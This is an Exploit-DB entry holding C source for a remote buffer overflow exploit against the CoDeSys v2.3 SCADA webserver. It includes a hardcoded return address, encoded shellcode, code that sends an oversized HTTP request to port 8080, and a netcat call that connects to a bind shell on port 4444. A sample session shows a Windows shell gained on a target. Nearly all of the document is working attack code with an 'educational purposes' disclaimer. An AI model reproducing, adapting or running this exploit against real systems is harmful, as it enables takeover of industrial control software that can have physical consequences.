Exploit-DB #18187
Description: CoDeSys SCADA 2.3 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2011-12-01
Author: Celil Ünüver

Exploit:
/*
See Also: http://aluigi.altervista.org/adv/codesys_1-adv.txt

CoDeSys v2.3 Industrial Control System Development Software
Remote Buffer Overflow Exploit for CoDeSys Scada webserver
Author : Celil UNUVER, SignalSEC Labs
www.signalsec.com
Tested on WinXP SP1 EN
THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY!
--snip--

root@bt:~# ./codesys 192.168.1.36

CoDeSys v2.3 webserver Remote Exploit
 by SignalSEC Labs - www.signalsec.com

[+]Sending payload to SCADA system!

[+]Connecting to port 4444 to get shell!
192.168.1.36: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.36] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\3S Software\CoDeSys V2.3\visu>  

--snip--

*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

#define name "CoDeSys v2.3 webserver Remote Exploit"
#define PORT 8080
#define JUNK "A"

int main ( int argc, char *argv[] )
{

 
int sock, i, payload;

struct sockaddr_in dest_addr;

char *target = "target";

char request[1600], *ptr;


char ret[] = "\x67\x42\xa7\x71"; //ret - WINXP SP1 EN , mswsock.dll

char hellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48"
"\x4e\x36\x46\x52\x46\x42\x4b\x58\x45\x54\x4e\x43\x4b\x38\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x32\x45\x47\x45\x4e\x4b\x58"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34"
"\x4b\x48\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
"\x49\x58\x4e\x36\x46\x42\x4e\x41\x41\x36\x43\x4c\x41\x43\x4b\x4d"
"\x46\x56\x4b\x48\x43\x44\x42\x53\x4b\x58\x42\x44\x4e\x30\x4b\x48"
"\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x34\x4a\x30\x50\x35\x4a\x56"
"\x50\x48\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46"
"\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x36\x47\x37\x43\x57"
"\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"
"\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x35\x4c\x46\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x45\x43\x55\x43\x45\x43\x34"
"\x43\x45\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x41\x31"
"\x4e\x35\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a"
"\x4c\x41\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41"
"\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x56\x45\x4e\x49\x44\x48\x38\x49\x54\x47\x55\x4f\x4f\x48\x4d"
"\x42\x55\x46\x45\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
"\x47\x4e\x49\x57\x48\x4c\x49\x57\x47\x55\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x36\x48\x36\x4a\x56\x43\x36"
"\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x45\x49\x32\x4e\x4c"
"\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x48\x44\x4e\x41\x33\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x54\x4e\x52"
"\x43\x39\x4d\x58\x4c\x57\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x37\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x34\x4f\x4f"
"\x48\x4d\x4b\x35\x47\x45\x44\x35\x41\x35\x41\x35\x41\x45\x4c\x56"
"\x41\x30\x41\x35\x41\x35\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f"
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
"\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x45\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a";

printf ("\n%s\n by SignalSEC Labs - www.signalsec.com\n", name);

if (argc < 2) 
{
        printf ("\nUsage: codesys [IP]\n");
        exit (-1);
}

setenv (target, argv[1], 1);


memset (request, '\0', sizeof (request));
ptr = request;
strcat (request, "GET /");

for(i = 1; i < 776; i++){

	strcat (request, JUNK);
}

strcat (request, ret);
strcat (request, hellcode);
strcat (request, " HTTP/1.1");
strcat (request, "\r\n");


if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("\nsocket error\n");
        exit (1);
        }

dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(PORT);
if (! inet_aton(argv[1], &(dest_addr.sin_addr))) {
        perror("inet_aton problems");
        exit (2);
        }

memset( &(dest_addr.sin_zero), '\0', 8);

if (connect (sock, (struct sockaddr *)&dest_addr, sizeof (struct sockaddr)) == -1){
        perror("\nCouldnt connect to target!\n");
        close (sock);
        exit (3);
        }

payload = (send (sock, ptr, strlen(request), 0));
if (payload == -1) {
        perror("\nCan not send the payload\n");
        close (sock);
        exit(4);
        }
close (sock);
printf ("\n[+]Sending payload to SCADA system!\n");
sleep (1);
printf ("\n[+]Connecting to port 4444 to get shell!\n");
sleep (2);
system("nc -vv ${target} 4444 || echo 'Sorry exploit failed! Change RET address or be sure target is not patched!'");
exit (0);
}